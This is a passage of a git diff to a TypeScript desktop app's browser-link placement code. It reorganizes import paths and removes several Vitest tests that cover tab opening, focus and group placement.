 import { makeUnifiedTab } from '@/store/slices/tabs/tab-group.test-fixture'
-import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
+import '@/store/slices/worktrees/worktree.test-fixture'
 import { makeFolderWorkspace } from '@/store/folder-workspaces/folder-workspace.test-fixture'
-import { canOfferHttpLinkGroupAction } from './http-link-in-group-availability'
+import './http-link-in-group-availability'
 
 let store: BrowserLinkTestStore
 beforeEach(() => {
@@ -28,80 +24,6 @@ beforeEach(() => {
 })
 
 describe('browser destination scope', () => {
-  it.each(['listed', 'detected'] as const)(
-    'refuses hostless ownership for %s twins even when the active workspace names one host',
-    (catalog) => {
-      const existing = store.getState().createBrowserTab(WORKSPACE, URL_TO_OPEN, {
-        targetGroupId: 'b',
-        executionHostId: 'local',
-        browserRuntimeEnvironmentId: null,
-        sessionProfileId: null,
-        activate: false
-      })
-      store.setState((state) => ({
-        ...(catalog === 'listed'
-          ? {
-              worktreesByRepo: {
-                repo1: [
-                  ...state.worktreesByRepo.repo1!,
-                  makeWorktree({ id: WORKSPACE, repoId: 'repo1', hostId: 'runtime:other' })
-                ]
-              }
-            }
-          : {
-              detectedWorktreesByRepo: {
-                repo1: {
-                  repoId: 'repo1',
-                  authoritative: true,
-                  source: 'git' as const,
-                  worktrees: [
-                    {
-                      ...makeWorktree({ id: WORKSPACE, repoId: 'repo1', hostId: 'runtime:other' }),
-                      ownership: 'external' as const,
-                      selectedCheckout: false,
-                      visible: true
-                    }
-                  ]
-                }
-              }
-            }),
-        unifiedTabsByWorktree: {
-          [WORKSPACE]: state.unifiedTabsByWorktree[WORKSPACE]!.map((tab) => ({
-            ...tab,
-            executionHostId: undefined
-          }))
-        }
-      }))
-      const state = store.getState()
-      const destination = browserLinkTestDestination()
-      expect(
-        selectBrowserLinkDestination(
-          state,
-          destination,
-          captureLinkOpenIntent(state, WORKSPACE, 'source')
-        )
-      ).toMatchObject({ status: 'ready', groupId: 'b', match: null })
-      expect(
-        browserOpenResultForPage(state, destination, existing.id, existing.activePageId!)
-      ).toBeNull()
-      expect(
-        canOfferHttpLinkGroupAction(state, {
-          workspaceId: WORKSPACE,
-          sourceTabId: 'source',
-          sourceOwner: { kind: 'local' },
-          url: URL_TO_OPEN
-        })
-      ).toBe(false)
-      expect(
-        selectBrowserLinkDestination(
-          state,
-          browserLinkTestDestination(),
-          captureLinkOpenIntent(state, WORKSPACE, 'source', { explicitSourceGroup: true })
-        )
-      ).toEqual({ status: 'refused' })
-    }
-  )
-
   it('refuses hostless folder twins despite an active host selection', () => {
     const workspaceId = 'folder:legacy'
     store.setState((state) => ({
diff --git a/src/renderer/src/lib/browser/navigation/browser-link-destination.ts b/src/renderer/src/lib/browser/navigation/browser-link-destination.ts
index 3dadc8a3fdd..c7766967005 100644
--- a/src/renderer/src/lib/browser/navigation/browser-link-destination.ts
+++ b/src/renderer/src/lib/browser/navigation/browser-link-destination.ts
@@ -1,6 +1,16 @@
-import type { Tab } from '../../../../../shared/tab-types'
 import { createBrowserLinkHostMatcher } from './browser-link-owner'
 import { createBrowserLinkSessionMatcher } from './browser-link-session'
+import {
+  normalizeBrowserNavigationUrl,
+  redactKagiSessionToken
+} from '../../../../../shared/browser-url'
+import { browserPageDocLocationsEqual } from '../../../../../shared/browser-page-doc-location'
+import { findVisibleBrowserLinkTarget } from './visible-browser-link-target'
+import { isLiveLinkOpenGroup, liveLinkOpenGroupIds } from '../../links/placement/link-open-intent'
+import type { LinkOpenIntent } from '../../links/placement/link-open-intent'
+import { runtimeEnvironmentIdOrLocalUnlessTwin } from '../../workspace/ownership/worktree-runtime-owner'
+import { resolveLinkOpenSidePlacement } from '../../links/placement/adjacent-link-open-group'
+import type { Tab } from '../../../../../shared/tab-types'
 import type { AppState } from '@/store/types'
 import type {
   BrowserPage,
@@ -8,17 +18,7 @@ import type {
   BrowserWorkspace
 } from '../../../../../shared/browser-workspace-types'
 import type { ExecutionHostId } from '../../../../../shared/execution-host'
-import {
-  normalizeBrowserNavigationUrl,
-  redactKagiSessionToken
-} from '../../../../../shared/browser-url'
-import { browserPageDocLocationsEqual } from '../../../../../shared/browser-page-doc-location'
-import { findVisibleBrowserLinkTarget } from './visible-browser-link-target'
 import type { TabSplitTarget } from '@/store/slices/tabs/tabs-slice-contract'
-import { isLiveLinkOpenGroup, liveLinkOpenGroupIds } from '../../link-open-intent'
-import type { LinkOpenIntent } from '../../link-open-intent'
-import { runtimeEnvironmentIdOrLocalUnlessTwin } from '../../workspace/ownership/worktree-runtime-owner'
-import { resolveLinkOpenSidePlacement } from '../../adjacent-link-open-group'
 
 export type BrowserLinkDestination = {
   worktreeId: string
diff --git a/src/renderer/src/lib/browser/navigation/browser-link-open-layout-owner.test.ts b/src/renderer/src/lib/browser/navigation/browser-link-open-layout-owner.test.ts
deleted file mode 100644
index 0475aaaff8a..00000000000
--- a/src/renderer/src/lib/browser/navigation/browser-link-open-layout-owner.test.ts
+++ /dev/null
@@ -1,386 +0,0 @@
-import type * as BrowserFocusModule from '@/components/browser-pane/host-guest/browser-focus'
-import { requestBrowserFocus } from '@/components/browser-pane/host-guest/browser-focus'
-import { isBrowserPageMountAdmitted } from '@/components/browser-pane/host-guest/browser-page-mount-admission'
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import { createStoreCascadesMockApi } from '@/store/testing/app-store-cascade-api.test-fixture'
-import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
-import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
-import {
-  createBrowserLinkTestStore,
-  WORKSPACE,
-  URL_TO_OPEN,
-  type BrowserLinkTestStore
-} from './browser-link-open.test-fixture'
-import { captureLinkOpenIntent } from '../../link-open-intent'
-import { beginLinkOpenRequest } from '../../link-open-request'
-import { openWorkspaceBrowserTabForLink } from '../workspace/workspace-browser-tab-open'
-import { openFileInBrowserTab } from '../documents/file-preview'
-import { openEditorHtmlPreview } from '@/components/editor/open-editor-html-preview'
-import type { BrowserOpenOutcome } from './browser-link-destination'
-
-vi.mock('../../../../../shared/layout-owner-switch', () => ({ ORCA_LAYOUT_OWNER_IS_MAIN: true }))
-const mocks = vi.hoisted(() => ({ getState: vi.fn(), subscribe: vi.fn() }))
-vi.mock('@/store/index', () => ({
-  useAppStore: { getState: () => mocks.getState(), subscribe: mocks.subscribe }
-}))
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-vi.mock('@/components/browser-pane/host-guest/browser-focus', async (importOriginal) => ({
-  ...(await importOriginal<typeof BrowserFocusModule>()),
-  requestBrowserFocus: vi.fn()
-}))
-vi.mock('sonner', () => ({
-  toast: { error: vi.fn(), info: vi.fn(), success: vi.fn(), warning: vi.fn() }
-}))
-createStoreCascadesMockApi()
-let store: BrowserLinkTestStore
-let main: TabsDrawnFromMain
-
-beforeEach(async () => {
-  store = createBrowserLinkTestStore()
-  store.setState({
-    tabsByWorktree: {
-      [WORKSPACE]: store.getState().unifiedTabsByWorktree[WORKSPACE]!.map((tab) => ({
-        id: tab.entityId,
-        ptyId: null,
-        worktreeId: WORKSPACE,
-        title: 'Terminal',
-        customTitle: null,
-        color: null,
-        sortOrder: tab.sortOrder,
-        createdAt: tab.createdAt
-      }))
-    }
-  })
-  mocks.getState.mockImplementation(() => store.getState())
-  mocks.subscribe.mockImplementation(store.subscribe)
-  vi.mocked(requestBrowserFocus).mockClear()
-  main = await drawTabsFromMain(store)
-  layoutApplyTestTransport.answerWith('pending')
-})
-afterEach(() => main.close())
-
-function open(surface: 'http' | 'html', explicit = true, background = false) {
-  const linkContext = {
-    linkIntent: captureLinkOpenIntent(store.getState(), WORKSPACE, 'source', {
-      explicitSourceGroup: explicit
-    }),
-    isCurrentRequest: beginLinkOpenRequest()
-  }
-  if (surface === 'http') {
-    return openWorkspaceBrowserTabForLink({
-      workspaceId: WORKSPACE,
-      url: URL_TO_OPEN,
-      intent: { kind: 'url' },
-      ...(background ? { focusOnCreate: false, selectWorktree: false } : {}),
-      linkContext
-    })
-  }
-  return new Promise<BrowserOpenOutcome>((resolve) =>
-    openFileInBrowserTab({
-      worktreeId: WORKSPACE,
-      filePath: '/repo/index.html',
-      linkContext,
-      onLinkOutcome: resolve
-    })
-  )
-}
-
-function pendingBrowserPageId(): string {
-  const pageId = layoutApplyTestTransport.sentOfType('openBrowserTab')[0]?.pageId
-  if (!pageId) {
-    throw new Error('Expected a pending browser page')
-  }
-  return pageId
-}
-
-it.each([
-  ['http', false],
-  ['http', true],
-  ['html', false],
-  ['html', true]
-] as const)(
-  'waits for main to draw a %s link before reporting and activating its exact page (explicit: %s)',
-  async (surface, explicit) => {
-    const groupCount = store.getState().groupsByWorktree[WORKSPACE]!.length
-    const reported = vi.fn()
-    const opening = open(surface, explicit).then((outcome) => {
-      reported(outcome)
-      return outcome
-    })
-    await Promise.resolve()
-    expect(reported).not.toHaveBeenCalled()
-    expect(store.getState().browserPagesByWorkspace).toEqual({})
-    expect(store.getState().activeGroupIdByWorktree[WORKSPACE]).toBe('c')
-    expect(requestBrowserFocus).not.toHaveBeenCalled()
-
-    const pending = layoutApplyTestTransport.sentOfType('openBrowserTab')[0]!
-    const targetGroupId = pending.groupId
-    expect(targetGroupId).toBe(explicit ? 'a' : 'b')
-    expect(pending.split).toBeUndefined()
-    layoutApplyTestTransport.answerWith('apply')
-    layoutApplyTestTransport.answerPending()
-    await main.settle()
-    const outcome = await opening
-    expect(outcome).toMatchObject({
-      status: 'opened',
-      result: { worktreeId: WORKSPACE, groupId: targetGroupId }
-    })
-    if (outcome.status !== 'opened') {
-      throw new Error('Expected a materialized browser link')
-    }
-    const { result } = outcome
-    const state = store.getState()
-    expect(state.groupsByWorktree[WORKSPACE]).toHaveLength(groupCount)
-    expect(
-      state.groupsByWorktree[WORKSPACE]?.find((group) => group.id === targetGroupId)?.activeTabId
-    ).toBe(result.unifiedTabId)
-    expect(state.activeGroupIdByWorktree[WORKSPACE]).toBe(targetGroupId)
-    expect(state.activeBrowserTabId).toBe(result.browserWorkspaceId)
-    expect(
-      state.browserTabsByWorktree[WORKSPACE]?.find((tab) => tab.id === result.browserWorkspaceId)
-        ?.activePageId
-    ).toBe(result.browserPageId)
-    expect(requestBrowserFocus).toHaveBeenCalledExactlyOnceWith({
-      pageId: result.browserPageId,
-      target: 'webview'
-    })
-  }
-)
-
-it('admits a background HTTP page only after main materializes it without activating it', async () => {
-  const opening = open('http', false, true)
-  const pageId = pendingBrowserPageId()
-  expect(isBrowserPageMountAdmitted(pageId)).toBe(false)
-
-  layoutApplyTestTransport.answerWith('apply')
-  layoutApplyTestTransport.answerPending()
-  await main.settle()
-
-  expect(await opening).toMatchObject({ status: 'opened' })
-  expect(isBrowserPageMountAdmitted(pageId)).toBe(true)
-  expect(store.getState().activeGroupIdByWorktree[WORKSPACE]).toBe('c')
-  expect(requestBrowserFocus).not.toHaveBeenCalled()
-})
-
-it('does not activate a link superseded while main was opening its tab', async () => {
-  const opening = open('http')
-  const pageId = pendingBrowserPageId()
-  beginLinkOpenRequest()
-  layoutApplyTestTransport.answerWith('apply')
-  layoutApplyTestTransport.answerPending()
-  await main.settle()
-
-  expect(await opening).toEqual({ status: 'superseded' })
-  await main.settle()
-  expect(store.getState().browserTabsByWorktree[WORKSPACE] ?? []).toEqual([])
-  expect(store.getState().browserPagesByWorkspace).toEqual({})
-  expect(
-    store.getState().unifiedTabsByWorktree[WORKSPACE]?.some((tab) => tab.contentType === 'browser')
-  ).toBe(false)
-  expect(store.getState().recentlyClosedBrowserTabsByWorktree[WORKSPACE] ?? []).toEqual([])
-  expect(store.getState().activeGroupIdByWorktree[WORKSPACE]).toBe('c')
-  expect(isBrowserPageMountAdmitted(pageId)).toBe(false)
-  expect(requestBrowserFocus).not.toHaveBeenCalled()
-})
-
-it.each(['workspace', 'view', 'view-return'] as const)(
-  'retains a tab without revealing or focusing it after navigation during layout acknowledgement: %s',
-  async (navigation) => {
-    const opening = open('http', false)
-    const pageId = pendingBrowserPageId()
-    if (navigation === 'workspace') {
-      store.getState().setActiveWorktree(null)
-    } else {
-      const previousView = store.getState().activeView
-      store.getState().setActiveView('skills')
-      if (navigation === 'view-return') {
-        store.getState().setActiveView(previousView)
-      }
-    }
-    const selected = store.getState()
-    layoutApplyTestTransport.answerWith('apply')
-    layoutApplyTestTransport.answerPending()
-    await main.settle()
-
-    expect(await opening).toMatchObject({ status: 'opened' })
-    const state = store.getState()
-    expect(state.browserTabsByWorktree[WORKSPACE]).toHaveLength(1)
-    expect(state.activeWorktreeId).toBe(selected.activeWorktreeId)
-    expect(state.activeView).toBe(selected.activeView)
-    expect(state.activeGroupIdByWorktree[WORKSPACE]).toBe('c')
-    expect(state.groupsByWorktree[WORKSPACE]?.find((group) => group.id === 'b')?.activeTabId).toBe(
-      'terminal-b'
-    )
-    expect(isBrowserPageMountAdmitted(pageId)).toBe(true)
-    expect(requestBrowserFocus).not.toHaveBeenCalled()
-  }
-)
-
-it('does not activate a link whose owner changed while main was opening its tab', async () => {
-  const opening = open('http')
-  const pageId = pendingBrowserPageId()
-  store.setState((state) => ({
-    worktreesByRepo: {
-      repo1: state.worktreesByRepo.repo1!.map((worktree) => ({
-        ...worktree,
-        hostId: 'ssh:changed'
-      }))
-    }
-  }))
-  layoutApplyTestTransport.answerWith('apply')
-  layoutApplyTestTransport.answerPending()
-  await main.settle()
-
-  expect(await opening).toEqual({ status: 'refused' })
-  await main.settle()
-  expect(store.getState().browserTabsByWorktree[WORKSPACE] ?? []).toEqual([])
-  expect(store.getState().browserPagesByWorkspace).toEqual({})
-  expect(
-    store.getState().unifiedTabsByWorktree[WORKSPACE]?.some((tab) => tab.contentType === 'browser')
-  ).toBe(false)
-  expect(store.getState().recentlyClosedBrowserTabsByWorktree[WORKSPACE] ?? []).toEqual([])
-  expect(store.getState().activeGroupIdByWorktree[WORKSPACE]).toBe('c')
-  expect(isBrowserPageMountAdmitted(pageId)).toBe(false)
-  expect(requestBrowserFocus).not.toHaveBeenCalled()
-})
-
-it('reports failure when main refuses the browser creation', async () => {
-  const opening = open('http')
-  const pageId = pendingBrowserPageId()
-  layoutApplyTestTransport.answerWith({ refuse: 'workspace_not_found' })
-  layoutApplyTestTransport.answerPending()
-  await main.settle()
-
-  expect(await opening).toEqual({ status: 'failed' })
-  expect(store.getState().browserPagesByWorkspace).toEqual({})
-  expect(isBrowserPageMountAdmitted(pageId)).toBe(false)
-  expect(requestBrowserFocus).not.toHaveBeenCalled()
-})
-
-it('opens a remote document in the requested group without moving an existing mixed browser workspace', async () => {
-  const owner = 'repo2::/remote'
-  store.setState((state) => ({
-    repos: [
-      ...state.repos,
-      {
-        ...state.repos[0]!,
-        id: 'repo2',
-        connectionId: 'preview-owner',
-        executionHostId: 'ssh:preview-owner'
-      }
-    ],
-    worktreesByRepo: {
-      ...state.worktreesByRepo,
-      repo2: [
-        makeWorktree({ id: owner, repoId: 'repo2', path: '/remote', hostId: 'ssh:preview-owner' })
-      ]
-    }
-  }))
-  const openPreview = () =>
-    new Promise<BrowserOpenOutcome>((resolve) =>
-      openFileInBrowserTab({
-        filePath: '/remote/index.html',
-        worktreeId: owner,
-        placementWorkspaceId: WORKSPACE,
-        linkContext: {
-          linkIntent: captureLinkOpenIntent(store.getState(), WORKSPACE, 'source', {
-            explicitSourceGroup: true
-          }),
-          isCurrentRequest: beginLinkOpenRequest()
-        },
-        onLinkOutcome: resolve
-      })
-    )
-  layoutApplyTestTransport.answerWith('apply')
-  const existing = store.getState().createBrowserTab(WORKSPACE, '', {
-    targetGroupId: 'b',
-    browserRuntimeEnvironmentId: null,
-    docLocation: { kind: 'workspace-doc', worktreeId: owner, filePath: '/remote/index.html' },
-    activate: false
-  })
-  await main.settle()
-  const unrelated = store
-    .getState()
-    .createBrowserPage(existing.id, 'https://example.com/unrelated')!
-  await main.settle()
-  layoutApplyTestTransport.answerWith('pending')
-
-  const opening = openPreview()
-  layoutApplyTestTransport.answerWith('apply')
-  layoutApplyTestTransport.answerPending()
-  await main.settle()
-  expect(await opening).toMatchObject({ status: 'opened', result: { groupId: 'a' } })
-  const state = store.getState()
-  expect(
-    state.unifiedTabsByWorktree[WORKSPACE]?.find((tab) => tab.entityId === existing.id)
-  ).toMatchObject({ groupId: 'b' })
-  expect(
-    state.browserTabsByWorktree[WORKSPACE]?.find((tab) => tab.id === existing.id)?.activePageId
-  ).toBe(unrelated.id)
-  expect(state.browserPagesByWorkspace[existing.id]).toHaveLength(2)
-  expect(state.groupsByWorktree[WORKSPACE]?.map((group) => group.id)).toEqual(['a', 'b', 'c'])
-  const preview = state.activeBrowserTabId
-  expect(preview).not.toBe(existing.id)
-  expect(state.browserPagesByWorkspace[preview!]?.[0]?.docLocation).toEqual({
-    kind: 'workspace-doc',
-    worktreeId: owner,
-    filePath: '/remote/index.html'
-  })
-  expect(await openPreview()).toMatchObject({
-    status: 'opened',
-    result: { browserWorkspaceId: preview, groupId: 'a' }
-  })
-  expect(store.getState().browserTabsByWorktree[WORKSPACE]).toHaveLength(2)
-})
-
-it('keeps the editor selected after navigating away and back while main creates its preview', async () => {
-  store.setState((state) => ({
-    openFiles: [
-      {
-        id: 'report',
-        filePath: '/repo/report.html',
-        relativePath: 'report.html',
-        worktreeId: WORKSPACE,
-        language: 'html',
-        mode: 'edit',
-        isDirty: false
-      }
-    ],
-    unifiedTabsByWorktree: {
-      [WORKSPACE]: state.unifiedTabsByWorktree[WORKSPACE]!.map((tab) =>
-        tab.id === 'source' ? { ...tab, contentType: 'editor', entityId: 'report' } : tab
-      )
-    }
-  }))
-  store.getState().focusGroup(WORKSPACE, 'a')
-  const opening = openEditorHtmlPreview('report', 'source')
-  await Promise.resolve()
-  store.getState().focusGroup(WORKSPACE, 'b')
-  store.getState().focusGroup(WORKSPACE, 'a')
-  layoutApplyTestTransport.answerWith('apply')
-  layoutApplyTestTransport.answerPending()
-  await main.settle()
-  await opening
-  const state = store.getState()
-  expect(state.groupsByWorktree[WORKSPACE]?.find((group) => group.id === 'a')?.activeTabId).toBe(
-    'source'
-  )
-  expect(state.activeGroupIdByWorktree[WORKSPACE]).toBe('a')
-  expect(
-    state.unifiedTabsByWorktree[WORKSPACE]?.find((tab) => tab.contentType === 'browser')
-  ).toMatchObject({ groupId: 'a' })
-  expect(requestBrowserFocus).not.toHaveBeenCalled()
-})
diff --git a/src/renderer/src/lib/browser/navigation/browser-link-open.test.ts b/src/renderer/src/lib/browser/navigation/browser-link-open.test.ts
index c8caf3bd2a6..2851cd2c8d7 100644
--- a/src/renderer/src/lib/browser/navigation/browser-link-open.test.ts
+++ b/src/renderer/src/lib/browser/navigation/browser-link-open.test.ts
@@ -1,23 +1,22 @@
-import type * as BrowserFocusModule from '@/components/browser-pane/host-guest/browser-focus'
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import { createStoreCascadesMockApi } from '@/store/testing/app-store-cascade-api.test-fixture'
 import '@/store/testing/app-store-test-fixture'
 import { makeTabGroup, makeUnifiedTab } from '@/store/slices/tabs/tab-group.test-fixture'
 import { buildBrowserPage } from '@/store/slices/browser/pages/browser-page-records'
-import { captureLinkOpenIntent } from '../../link-open-intent'
-import { beginLinkOpenRequest } from '../../link-open-request'
+import { captureLinkOpenIntent } from '../../links/placement/link-open-intent'
+import { beginLinkOpenRequest } from '../../links/link-open-request'
 import { openLocalBrowserLink } from './browser-link-open'
 import { selectBrowserLinkDestination } from './browser-link-destination'
 import {
   browserLinkTestDestination,
   createBrowserLinkTestStore,
   WORKSPACE,
-  URL_TO_OPEN,
-  type BrowserLinkTestStore
+  URL_TO_OPEN
 } from './browser-link-open.test-fixture'
-
+import type { BrowserLinkTestStore } from './browser-link-open.test-fixture'
 import { openWorkspaceBrowserTabForLink } from '../workspace/workspace-browser-tab-open'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants'
+import type * as BrowserFocusModule from '@/components/browser-pane/host-guest/browser-focus'
 
 const mocks = vi.hoisted(() => ({ getState: vi.fn() }))
 vi.mock('@/store/index', () => ({ useAppStore: { getState: () => mocks.getState() } }))
@@ -65,27 +64,6 @@ function browser(groupId: string, url = URL_TO_OPEN) {
 }
 
 describe('browser link placement and exact page activation', () => {
-  it('removes a newly created tab after an activation error while preserving existing tabs', async () => {
-    const existing = browser('c', 'https://unrelated.example/')
-    const before = store.getState()
-    const outcome = await openLocalBrowserLink({
-      destination: browserLinkTestDestination(),
-      context: context(),
-      url: URL_TO_OPEN,
-      ownsRoute: () => true,
-      reveal: () => {
-        throw new Error('Workspace activation failed')
-      }
-    })
-
-    expect(outcome).toEqual({ status: 'failed' })
-    const state = store.getState()
-    expect(state.browserTabsByWorktree[WORKSPACE]?.map((tab) => tab.id)).toEqual([existing.id])
-    expect(state.browserPagesByWorkspace).toEqual(before.browserPagesByWorkspace)
-    expect(state.unifiedTabsByWorktree[WORKSPACE]).toEqual(before.unifiedTabsByWorktree[WORKSPACE])
-    expect(state.recentlyClosedBrowserTabsByWorktree[WORKSPACE] ?? []).toEqual([])
-  })
-
   it('refuses an expired explicit group before creating records or activating a destination', async () => {
     const captured = context(true)
     store.setState({
diff --git a/src/renderer/src/lib/browser/navigation/browser-link-open.ts b/src/renderer/src/lib/browser/navigation/browser-link-open.ts
index 9d40e379f6e..541f99bd064 100644
--- a/src/renderer/src/lib/browser/navigation/browser-link-open.ts
+++ b/src/renderer/src/lib/browser/navigation/browser-link-open.ts
@@ -2,24 +2,26 @@ import { focusOpenedBrowserLink } from './browser-link-focus'
 import { releaseBrowserPageMount } from '@/components/browser-pane/host-guest/browser-page-mount-admission'
 import { createBrowserLinkHostMatcher } from './browser-link-owner'
 import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
-import type { CreateBrowserTabOptions } from '@/store/slices/browser/browser-slice-contract'
 import { activateBrowserWorkspaceTab } from '../workspace/browser-workspace-tab-activation'
 import {
   browserLinkPageMatches,
   currentBrowserLinkMatch,
   browserOpenResultForPage,
-  selectBrowserLinkDestination,
-  type BrowserLinkDestination,
-  type BrowserLinkOpenContext,
-  type BrowserOpenOutcome
+  selectBrowserLinkDestination
 } from './browser-link-destination'
-import { isLiveLinkOpenGroup } from '../../link-open-intent'
+import type {
+  BrowserLinkDestination,
+  BrowserLinkOpenContext,
+  BrowserOpenOutcome
+} from './browser-link-destination'
+import { isLiveLinkOpenGroup } from '../../links/placement/link-open-intent'
 import {
   afterPendingEntityTabs,
   hasPendingEntityTab
 } from '@/runtime/workspace-layout/intents/layout-owner-pending-tabs'
 import { captureBrowserLinkReveal } from './browser-link-reveal'
+import type { AppState } from '@/store/types'
+import type { CreateBrowserTabOptions } from '@/store/slices/browser/browser-slice-contract'
 
 export class BrowserLinkPlacementRefused extends Error {}
 
diff --git a/src/renderer/src/lib/browser/navigation/http-link-browser-placement.ts b/src/renderer/src/lib/browser/navigation/http-link-browser-placement.ts
index 56f9add4df7..114f0fbeb68 100644
--- a/src/renderer/src/lib/browser/navigation/http-link-browser-placement.ts
+++ b/src/renderer/src/lib/browser/navigation/http-link-browser-placement.ts
@@ -1,14 +1,14 @@
+import { requestBrowserFocus } from '@/components/browser-pane/host-guest/browser-focus'
+import { findVisibleBrowserLinkTarget } from './visible-browser-link-target'
+import { isFloatingWorkspaceId } from '../../../../../shared/floating-workspace-worktree'
+import { resolveLinkOpenSidePlacement } from '../../links/placement/adjacent-link-open-group'
 import type { AppState } from '@/store/types'
 import type { CreateBrowserTabOptions } from '@/store/slices/browser/browser-slice-contract'
 import type { TabSplitTarget } from '@/store/slices/tabs/tabs-slice-contract'
 import type { Tab, TabGroup } from '../../../../../shared/tab-types'
-import { requestBrowserFocus } from '@/components/browser-pane/host-guest/browser-focus'
 import type { OpenWorkspaceBrowserTabRequest } from '../workspace/workspace-browser-tab-open'
 import type { BrowserWorkspace } from '../../../../../shared/browser-workspace-types'
 import type { GlobalSettings } from '../../../../../shared/global-settings-types'
-import { findVisibleBrowserLinkTarget } from './visible-browser-link-target'
-import { isFloatingWorkspaceId } from '../../../../../shared/floating-workspace-worktree'
-import { resolveLinkOpenSidePlacement } from '../../adjacent-link-open-group'
 
 export type HttpLinkBrowserPlacement = { targetGroupId: string } | { split: TabSplitTarget }
 
diff --git a/src/renderer/src/lib/browser/navigation/http-link-completion.test.ts b/src/renderer/src/lib/browser/navigation/http-link-completion.test.ts
deleted file mode 100644
index 0694da60371..00000000000
--- a/src/renderer/src/lib/browser/navigation/http-link-completion.test.ts
+++ /dev/null
@@ -1,140 +0,0 @@
-import type * as BrowserFocusModule from '@/components/browser-pane/host-guest/browser-focus'
-import { requestBrowserFocus } from '@/components/browser-pane/host-guest/browser-focus'
-import { afterEach, beforeEach, expect, it, vi, type Mock } from 'vitest'
-import { createStoreCascadesMockApi } from '@/store/testing/app-store-cascade-api.test-fixture'
-import {
-  createBrowserLinkTestStore,
-  WORKSPACE,
-  URL_TO_OPEN
-} from './browser-link-open.test-fixture'
-import {
-  registerHttpLinkStoreAccessor,
-  registerWorkspaceHttpLinkBrowserOpener
-} from './http-link-routing'
-import {
-  type HttpLinkBrowserCompletion,
-  openRoutedHttpLink,
-  type WorkspaceHttpLinkBrowserOpener
-} from './http-link-destinations'
-import { openWorkspaceBrowserTabForLink } from '../workspace/workspace-browser-tab-open'
-import { beginLinkOpenRequest } from '../../link-open-request'
-const mocks = vi.hoisted(() => ({ getState: vi.fn() }))
-vi.mock('@/store/index', () => ({ useAppStore: { getState: () => mocks.getState() } }))
-vi.mock('@/components/browser-pane/host-guest/browser-focus', async (importOriginal) => ({
-  ...(await importOriginal<typeof BrowserFocusModule>()),
-  requestBrowserFocus: vi.fn()
-}))
-vi.mock('sonner', () => ({
-  toast: { error: vi.fn(), info: vi.fn(), success: vi.fn(), warning: vi.fn() }
-}))
-createStoreCascadesMockApi()
-let store: ReturnType<typeof createBrowserLinkTestStore>
-let cleanups: number
-let resume: () => void
-let completed: Promise<void>
-let finish: () => void
-let released: Promise<void>
-let opening: Mock<WorkspaceHttpLinkBrowserOpener>
-beforeEach(() => {
-  store = createBrowserLinkTestStore()
-  mocks.getState.mockImplementation(() => store.getState())
-  cleanups = 0
-  released = new Promise<void>((resolve) => {
-    resume = resolve
-  })
-  completed = new Promise<void>((resolve) => {
-    finish = resolve
-  })
-  registerHttpLinkStoreAccessor(
-    () => store.getState(),
-    (listener) => {
-      const off = store.subscribe(listener)
-      return () => {
-        off()
-        cleanups++
-        finish()
-      }
-    }
-  )
-  opening = vi.fn<WorkspaceHttpLinkBrowserOpener>(
-    async (
-      request: Parameters<
-        NonNullable<Parameters<typeof registerWorkspaceHttpLinkBrowserOpener>[0]>
-      >[0]
-    ) => {
-      await released
-      if (!request.linkContext) {
-        throw new Error('Missing real link context')
-      }
-      const result = await openWorkspaceBrowserTabForLink({
-        ...request,
-        linkContext: request.linkContext
-      })
-      return result.status === 'opened' ? result.result.browserPageId : null
-    }
-  )
-  registerWorkspaceHttpLinkBrowserOpener(opening)
-})
-afterEach(() => {
-  registerWorkspaceHttpLinkBrowserOpener(null)
-  vi.restoreAllMocks()
-  vi.clearAllMocks()
-})
-
-it.each([false, true])(
-  'reports actual materialization with its background setting (%s) and discharges the captured reveal observer',
-  async (background) => {
-    store.setState((state) => ({
-      settings: { ...state.settings!, openLinksInAppInBackground: background }
-    }))
-    const results: HttpLinkBrowserCompletion[] = []
-    openRoutedHttpLink(URL_TO_OPEN, {
-      worktreeId: WORKSPACE,
-      sourceTabId: 'source',
-      sourceOwner: { kind: 'local' },
-      forceDestination: 'orca',
-      onBrowserOpenComplete: (result) => results.push(result)
-    })
-    expect(results).toEqual([])
-    expect(cleanups).toBe(0)
-    resume()
-    await completed
-    expect(results).toEqual([{ pageId: expect.any(String), background }])
-    const pageId = results[0]!.pageId
-    if (background) {
-      expect(requestBrowserFocus).not.toHaveBeenCalled()
-    } else {
-      expect(requestBrowserFocus).toHaveBeenCalledExactlyOnceWith({ pageId, target: 'webview' })
-    }
-    expect(
-      Object.values(store.getState().browserPagesByWorkspace)
-        .flat()
-        .some((page) => page.id === pageId && page.url === URL_TO_OPEN)
-    ).toBe(true)
-    expect(cleanups).toBe(1)
-  }
-)
-
-it.each(['refused', 'superseded'] as const)(
-  'does not invent success when the actual browser route is %s',
-  async (outcome) => {
-    const complete = vi.fn()
-    openRoutedHttpLink(URL_TO_OPEN, {
-      worktreeId: WORKSPACE,
-      sourceTabId: 'source',
-      forceDestination: 'orca',
-      openInSourceGroup: true,
-      onBrowserOpenComplete: complete
-    })
-    if (outcome === 'superseded') {
-      beginLinkOpenRequest()
-    } else {
-      store.setState({ groupsByWorktree: { [WORKSPACE]: [] }, layoutByWorktree: {} })
-    }
-    resume()
-    await completed
-    expect(complete).toHaveBeenCalledExactlyOnceWith({ pageId: null, background: false })
-    expect(store.getState().browserPagesByWorkspace).toEqual({})
-    expect(cleanups).toBe(1)
-  }
-)
diff --git a/src/renderer/src/lib/browser/navigation/http-link-destinations.ts b/src/renderer/src/lib/browser/navigation/http-link-destinations.ts
index bc69d5a4cf4..bd78ed0f245 100644
--- a/src/renderer/src/lib/browser/navigation/http-link-destinations.ts
